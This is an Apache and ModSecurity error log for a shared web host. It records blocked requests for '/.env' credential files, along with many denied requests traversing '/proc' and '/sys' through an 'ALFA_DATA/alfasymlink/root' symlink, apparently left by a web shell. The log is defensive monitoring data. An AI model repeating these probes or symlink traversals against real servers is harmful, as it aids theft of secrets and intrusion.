[Sun Oct 25 02:24:53.863130 2026] [security2:error] [pid 2781514:tid 2781514] [client 130.12.180.175:34952] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2gtcg3U8DnC2IvGkBkOwAAABA"]
[Sun Oct 25 02:24:54.178027 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 3.215.59.93:15132] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:24:54.494873 2026] [core:error] [pid 2781469:tid 2781469] (13)Permission denied: [client 185.191.171.17:55090] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uts_namespace/red_zone
[Sun Oct 25 02:25:02.251370 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 54.83.23.103:43337] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:25:06.254155 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 18.207.79.144:50521] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:25:13.206549 2026] [core:crit] [pid 2781514:tid 2781514] (13)Permission denied: [client 75.127.6.2:40524] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 02:25:18.158989 2026] [ssl:error] [pid 2781469:tid 2781469] (70014)End of file found: [client 34.225.87.80:31881] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:25:22.156662 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 44.206.65.8:60129] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:25:23.383261 2026] [security2:error] [pid 2781507:tid 2781507] [client 130.12.180.168:41098] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic5.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2g0568N771hz7W4KlrQgAAAAw"]
[Sun Oct 25 02:25:23.383529 2026] [security2:error] [pid 2781507:tid 2781507] [client 130.12.180.168:41098] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2g0568N771hz7W4KlrQgAAAAw"]
[Sun Oct 25 02:25:23.383922 2026] [security2:error] [pid 2781507:tid 2781507] [client 130.12.180.168:41098] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2g0568N771hz7W4KlrQgAAAAw"]
[Sun Oct 25 02:25:42.191180 2026] [ssl:error] [pid 2781514:tid 2781514] (70014)End of file found: [client 52.204.81.148:3002] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:25:46.343015 2026] [core:error] [pid 2781523:tid 2781523] (13)Permission denied: [client 34.193.2.57:6551] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/console/subsystem/tty31/subsystem/ttyS0/device/driver/uevent
[Sun Oct 25 02:25:50.168894 2026] [ssl:error] [pid 2781469:tid 2781469] (70014)End of file found: [client 23.23.213.182:60846] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:25:58.289385 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 54.84.93.8:6087] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:26:06.230094 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 44.206.65.8:42897] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:26:10.167909 2026] [ssl:error] [pid 2775709:tid 2775709] (70014)End of file found: [client 52.3.104.214:26601] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:26:22.155052 2026] [ssl:error] [pid 2781469:tid 2781469] (70014)End of file found: [client 3.94.199.128:59231] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:26:26.175904 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.224.215.150:32862] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:26:34.012009 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 85.208.96.195:31314] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inet_peer_cache/align
[Sun Oct 25 02:26:42.167713 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 54.162.69.192:9640] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/console/subsystem/ttyS0/port
[Sun Oct 25 02:26:43.852054 2026] [core:error] [pid 2781514:tid 2781514] (13)Permission denied: [client 185.191.171.11:39848] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/aliases
[Sun Oct 25 02:26:46.174178 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 54.86.59.155:55538] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:26:58.164584 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 98.84.184.80:23446] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:26:58.605524 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 185.191.171.14:16622] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-96/total_objects
[Sun Oct 25 02:27:06.173888 2026] [ssl:error] [pid 2775709:tid 2775709] (70014)End of file found: [client 34.194.226.74:37374] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:27:14.163190 2026] [core:error] [pid 2781523:tid 2781523] (13)Permission denied: [client 44.223.116.149:56027] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/subsystem/drivers/ata_generic/module/sections/__param
[Sun Oct 25 02:27:18.215323 2026] [ssl:error] [pid 2781469:tid 2781469] (5)Input/output error: [client 18.232.11.247:46752] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:27:21.168820 2026] [security2:error] [pid 2775684:tid 2775684] [client 130.12.180.176:32010] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2hSQanevcJbML2UkvnAAAAAAU"]
[Sun Oct 25 02:27:21.169098 2026] [security2:error] [pid 2775684:tid 2775684] [client 130.12.180.176:32010] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2hSQanevcJbML2UkvnAAAAAAU"]
[Sun Oct 25 02:27:21.169491 2026] [security2:error] [pid 2775684:tid 2775684] [client 130.12.180.176:32010] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2hSQanevcJbML2UkvnAAAAAAU"]
[Sun Oct 25 02:27:21.304207 2026] [security2:error] [pid 2781507:tid 2781507] [client 130.12.180.170:27200] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2hSZ68N771hz7W4KlrRgAAAAw"]
[Sun Oct 25 02:27:21.304429 2026] [security2:error] [pid 2781507:tid 2781507] [client 130.12.180.170:27200] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2hSZ68N771hz7W4KlrRgAAAAw"]
[Sun Oct 25 02:27:21.304763 2026] [security2:error] [pid 2781507:tid 2781507] [client 130.12.180.170:27200] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2hSZ68N771hz7W4KlrRgAAAAw"]
[Sun Oct 25 02:27:22.158203 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 34.192.67.98:38708] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu0/driver/uevent
[Sun Oct 25 02:27:38.142120 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 23.21.250.48:40910] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:27:50.152192 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 44.218.170.184:3666] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:28:02.286406 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 44.208.193.63:32632] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:28:13.081922 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 85.208.96.195:32842] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/trace
[Sun Oct 25 02:28:18.192415 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 3.208.156.9:38431] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:28:22.300798 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 3.211.105.134:15366] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:28:26.150157 2026] [core:error] [pid 2781480:tid 2781480] (13)Permission denied: [client 98.82.63.147:32908] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/driver/cpu0/subsystem/uevent
[Sun Oct 25 02:28:30.158077 2026] [core:error] [pid 2781481:tid 2781481] (13)Permission denied: [client 54.84.161.62:18398] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:03.0/rom
[Sun Oct 25 02:28:38.307828 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 184.73.239.35:37489] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:28:42.188870 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 98.84.184.80:15778] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:28:46.844753 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 185.191.171.17:11548] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:29:02.245454 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 44.208.193.63:57052] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:29:06.328556 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 54.157.99.244:8144] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:29:10.170047 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.70.209.13:28157] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:29:18.148989 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 44.205.120.22:61360] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:29:22.172135 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 54.235.172.96:3893] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:29:26.194726 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 107.20.255.194:6963] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:29:30.165028 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.212.219.113:51171] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:29:34.388726 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 52.22.64.232:51827] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:29:38.161470 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 54.225.181.161:1488] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:29:42.273307 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 50.17.193.48:47649] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:29:50.299880 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 98.84.184.80:34774] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:29:54.155952 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 3.218.35.239:47101] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:30:06.433218 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 34.233.114.237:56280] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:30:07.709056 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 185.191.171.15:10642] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:30:18.255179 2026] [core:error] [pid 2781480:tid 2781480] (13)Permission denied: [client 44.207.252.58:60174] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:03.0/resource0
[Sun Oct 25 02:30:22.207578 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 100.28.118.16:7558] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:30:26.144387 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 18.209.201.119:6701] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:30:35.231983 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 185.191.171.11:37350] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_struct/remote_node_defrag_ratio
[Sun Oct 25 02:30:38.158881 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 44.223.116.180:55605] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:30:42.208574 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 52.1.157.90:20388] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:30:50.191591 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 34.231.45.47:14830] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:30:55.899607 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 185.191.171.15:54322] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:31:02.216248 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 34.202.88.37:10286] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:31:10.195941 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 52.0.105.244:50580] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:31:18.144332 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 52.204.81.148:47243] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:1c/eject
[Sun Oct 25 02:31:22.288312 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 44.215.235.20:38279] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:31:34.145918 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 23.22.105.143:38133] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:31:38.144234 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 34.225.243.131:8607] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:31:42.149611 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 34.234.200.207:7067] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:31:54.237530 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 54.243.63.52:63064] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:32:10.133721 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 34.234.197.175:25611] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:32:17.028784 2026] [core:error] [pid 2781480:tid 2781480] (13)Permission denied: [client 85.208.96.196:31750] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/security/ima/violations
[Sun Oct 25 02:32:19.197545 2026] [core:error] [pid 2781523:tid 2781523] (13)Permission denied: [client 185.191.171.2:33608] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/remote_node_defrag_ratio
[Sun Oct 25 02:32:26.172197 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 44.205.74.196:27396] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:32:30.133913 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 52.2.4.213:4459] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:32:38.183522 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 185.191.171.7:40056] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dm_uevent/min_partial
[Sun Oct 25 02:32:42.143382 2026] [core:error] [pid 2781480:tid 2781480] (13)Permission denied: [client 52.207.47.227:20572] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/ata_piix/uevent
[Sun Oct 25 02:32:46.257117 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 3.224.215.150:54496] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:32:50.140129 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 44.218.6.93:18468] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/mice/subsystem/input5/subsystem/input1/device/drvctl
[Sun Oct 25 02:32:54.188441 2026] [core:error] [pid 2781481:tid 2781481] (13)Permission denied: [client 3.220.148.166:64500] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/uhci_hcd/0000:00:01.2/remove
[Sun Oct 25 02:33:02.138057 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 100.25.120.246:11890] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:33:22.151649 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 98.84.200.43:21040] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:33:27.840088 2026] [security2:error] [pid 2775712:tid 2775712] [client 124.156.226.179:43708] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/"] [unique_id "at2itwLaiqtlZaJBsx4W3gAAAA0"]
[Sun Oct 25 02:33:30.143360 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 52.3.104.214:33687] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:33:33.540513 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 185.191.171.7:62504] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kvm_intel/sections/__bug_table
[Sun Oct 25 02:33:34.192722 2026] [core:error] [pid 2781480:tid 2781480] (13)Permission denied: [client 98.84.200.43:61763] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:01/PNP0303:00/physical_node1/driver/bind
[Sun Oct 25 02:34:02.191275 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 3.217.171.106:51820] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:34:20.654765 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 185.191.171.10:15082] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:34:22.178851 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 98.80.130.239:57781] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:34:26.249489 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 3.221.50.71:59891] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:05/physical_node/remove
[Sun Oct 25 02:34:34.132501 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 54.235.191.179:35340] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:34:42.148640 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 54.92.171.106:47573] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:34:46.306367 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 18.209.137.234:37755] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:34:50.158416 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 34.196.6.199:4192] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:35:02.801796 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 35.153.86.200:45413] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:35:06.344706 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 34.227.156.153:59996] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:35:09.182256 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 85.208.96.210:44452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-256/reclaim_account
[Sun Oct 25 02:35:18.162213 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 44.221.227.90:8019] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:12/subsystem/drivers/hpet/unbind
[Sun Oct 25 02:35:26.184165 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 52.3.104.214:24544] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:35:34.371436 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 52.5.232.250:41544] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:35:38.142407 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 18.214.251.19:1520] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:35:41.049713 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 185.191.171.13:57316] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uts_namespace/slabs_cpu_partial
[Sun Oct 25 02:35:42.152401 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 18.232.11.247:58399] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:35:54.355888 2026] [core:error] [pid 2781481:tid 2781481] (13)Permission denied: [client 3.223.181.32:3298] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:05/physical_node/resource1
[Sun Oct 25 02:35:58.186630 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.221.156.96:61091] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:36:02.335662 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 98.82.107.102:50124] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:36:06.163765 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 34.195.248.30:37886] AH02013: coalesce failed to read from data bucket
